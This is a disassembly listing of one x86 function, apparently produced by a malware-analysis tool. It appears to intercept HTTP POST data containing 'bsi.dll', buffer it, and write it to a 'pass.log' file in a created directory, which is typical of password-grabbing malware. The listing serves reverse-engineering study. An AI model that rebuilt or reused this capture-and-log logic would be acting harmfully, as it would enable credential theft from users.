Function at 0x10011710
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x1001ff1c], 0
je 0x1001188f
cmp dword [0x1001ff24], 0
je 0x10011882
mov ecx, dword [ebp + 8]
push 0x1001cc84
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10011882
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10011770
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x100221f8
call ebx
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10011796
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100117a8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x100221f8
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x100221f8
call fcn.100018c0
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100117e5
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x108]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10011882
push eax
push 0x80
push 2
push eax
push 7
push 0xc0000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10011882
mov edx, dword [0x1001ff24]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011847
sub eax, edi
push esi
mov ecx, eax
call fcn.100040f0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push esi
call fcn.100040f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [0x1001ff24]
call fcn.100098e0
mov dword [0x1001ff1c], 0
jmp 0x1001188f
cmp dword [0x1001ff1c], 0
jne 0x1001193d
mov eax, dword [ebp + 8]
cmp dword [eax], 0x54534f50
jne 0x10011946
cmp byte [eax + 4], 0x20
jne 0x10011946
push str.bsi.dll
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10011946
mov eax, dword [0x1001ff24]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x1001ff1c], 1
test eax, eax
je 0x100118f6
push eax
push 0
mov esi, eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100118f6
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
xor esi, esi
inc eax
je 0x10011922
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10011922
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [0x1001ff24], esi
test esi, esi
je 0x1001193d
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov dword [0x1001ff1c], 0
pop ebx
mov esp, ebp
pop ebp
ret 8